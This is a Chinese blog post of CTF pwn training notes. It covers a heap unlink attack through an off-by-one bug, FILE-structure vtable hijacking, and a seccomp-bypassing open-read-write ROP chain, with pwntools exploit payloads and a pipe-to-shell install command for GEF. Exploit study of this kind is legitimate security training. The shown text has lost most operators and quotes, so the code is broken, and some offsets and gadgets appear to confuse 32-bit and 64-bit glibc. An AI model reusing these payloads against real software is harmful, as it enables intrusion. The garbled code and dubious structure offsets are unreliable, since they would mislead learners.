ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

Pwn技术实战:堆利用与IO_FILE攻击21天训练笔记

2026/8/15 9:12:19 拓冰建站 浏览量
Pwn技术实战:堆利用与IO_FILE攻击21天训练笔记 1. Pwn技术实战笔记解析从入门到精通的21-23天训练实录最近在HUST Pwn战队内部训练时我把21到23天的练习过程做了系统记录。这三天的训练重点突破了堆利用中的unlink攻击技巧和IO_FILE结构体滥用期间踩了不少坑也总结出一些实战中特别管用的调试方法。如果你正在入门二进制安全这份笔记或许能帮你少走弯路。Pwn作为CTF竞赛的核心题型本质上是利用程序漏洞获取系统控制权的技术。不同于Web安全的远程操控Pwn更接近底层需要扎实的汇编阅读能力和对内存管理的深刻理解。下面我就从环境搭建、工具链配置开始逐步拆解这三个训练日的技术要点。2. 训练环境与工具链配置2.1 基础环境搭建我使用的是Ubuntu 20.04 LTS系统配合pwntools开发环境这个组合在CTF选手中相当流行。关键组件包括sudo apt install -y python3 python3-pip git libc6-dev-i386 gdb pip install pwntools特别注意要安装32位兼容库libc6-dev-i386因为很多历史漏洞出现在32位程序中。调试工具我推荐GEF插件增强的GDBwget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh踩坑提醒Ubuntu 22.04默认的GLIBC版本较新可能无法运行老式漏洞程序建议用20.04或Docker容器。2.2 必备工具集详解pwntoolsPython编写的漏洞利用框架我的日常使用模板from pwn import * context(archi386, oslinux, log_leveldebug) io process(./vuln) elf ELF(./vuln) libc elf.libc if not elf.libc else ELF(/lib/i386-linux-gnu/libc.so.6)checksec检测程序防护机制训练中遇到的主要防护组合Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)ROPgadget自动化查找ROP链工具但在实际比赛中建议手动构建ROPgadget --binary ./vuln --ropchain3. Day21堆利用之unlink攻击实战3.1 unlink机制原理拆解unlink是glibc中合并空闲堆块时的核心操作其危险在于会执行以下写操作FD P-fd; // 前向指针 BK P-bk; // 后向指针 FD-bk BK; // 内存写操作 BK-fd FD; // 内存写操作通过伪造fd/bk指针可以实现任意地址写。关键约束条件伪造的FD/BK必须通过glibc的完整性检查chunksize(P) prev_size(next_chunk(P))FD-bk P BK-fd P3.2 典型漏洞程序分析训练用的vuln21程序存在off-by-one漏洞char *ptr[10]; for(int i0; i10; i){ ptr[i] malloc(0x88); // 分配small chunk read(0, ptr[i], 0x89); // 多写入1字节 }利用步骤构造两个相邻的chunk A和B通过off-by-one修改B的size头包含PREV_INUSE位free(B)触发unlink操作3.3 利用代码实现# 构造伪造的堆块 payload p32(0) p32(0x81) # fake header payload p32(elf.got[free] - 12) p32(elf.sym[target]) payload payload.ljust(0x80, bA) payload p32(0x80) p32(0x88) # 修改size并清除PREV_INUSE io.send(payload) io.sendlineafter(choice:,2) # 触发free调试技巧使用gef的heap bins命令观察bin状态x/20wx [addr]查看内存变化。4. Day22IO_FILE结构体利用进阶4.1 _IO_FILE_plus内存布局32位系统下的关键偏移0x0: _flags 0x48: vtable_ptr 0x94: _lock (用于FSOP时指向可控内存)vtable劫持后通常会跳转到_IO_OVERFLOW其调用约定int (*overflow)(FILE *, int);4.2 文件流定向攻击训练程序vuln22存在堆溢出可以覆盖FILE结构体# 构造伪造的FILE结构 fake_file b fake_file p32(0xdeadbeef) # _flags fake_file bA*0x44 fake_file p32(heap_addr) # _lock指向可控区域 fake_file bB*(0x94-0x48-4) fake_file p32(vtable_addr) # 覆盖vtable # 触发fclose时调用伪造的overflow io.sendlineafter(size:, str(len(fake_file))) io.send(fake_file)4.3 利用链构造技巧使用setcontext53的gadget实现栈迁移# x86架构下的典型gadget setcontext_53 libc_base 0x5c5f0通过_IO_str_jumps绕过vtable检查fake_vtable libc.sym[_IO_str_jumps] 0x1c实测发现glibc-2.27后需要额外处理tcache建议在2.23环境下练习。5. Day23综合利用与沙盒逃逸5.1 seccomp沙盒分析训练程序vuln23启用了沙盒限制seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);使用seccomp-tools快速分析seccomp-tools dump ./vuln235.2 ORW链构造通过ROP实现open-read-write# 32位系统调用约定eax调用号, ebx/ecx/edx参数 rop ROP(libc) rop.open(flag_addr, 0) # ebxfilename, ecxflags rop.read(3, heap_addr, 0x100) # ebxfd, ecxbuf, edxlen rop.write(1, heap_addr, 0x100)5.3 堆栈协同利用当栈空间不足时可以采用栈迁移到堆空间分阶段ROP链执行使用ret2csu初始化寄存器# 典型的栈迁移gadget leave_ret 0x0804844a payload flat({ 0: p32(heap_addr), 0x4: p32(leave_ret) })6. 调试技巧与问题排查6.1 GDB自动化脚本我的.gdbinit配置节选define hook-stop x/10i $eip heap bins telescope $esp 8 end6.2 常见错误处理SIGSEGV问题检查ROP链是否对齐x86需要4字节对齐确认内存地址是否可写vmmap命令利用失败排查strace -i ./vuln payloadlibc版本差异使用patchelf修改程序的libc路径patchelf --set-interpreter /path/to/ld.so ./vuln patchelf --replace-needed libc.so.6 /path/to/libc.so.6 ./vuln7. 训练资源推荐入门路径how2heap 堆利用教程ROP Emporium系列挑战进阶材料《漏洞战争》实战案例分析CTF Wiki的Pwn专题训练平台pwnable.kr (基础)pwnable.tw (进阶)高校内部OJ如HUST的Pwn题库这套训练方法最让我受益的是每天针对特定技术点的刻意练习。比如Day21集中突破unlink通过5个变种题目巩固理解Day22专注IO_FILE利用对比分析不同glibc版本的防御机制。建议新手也采用这种主题式训练法比泛泛而练效果要好得多。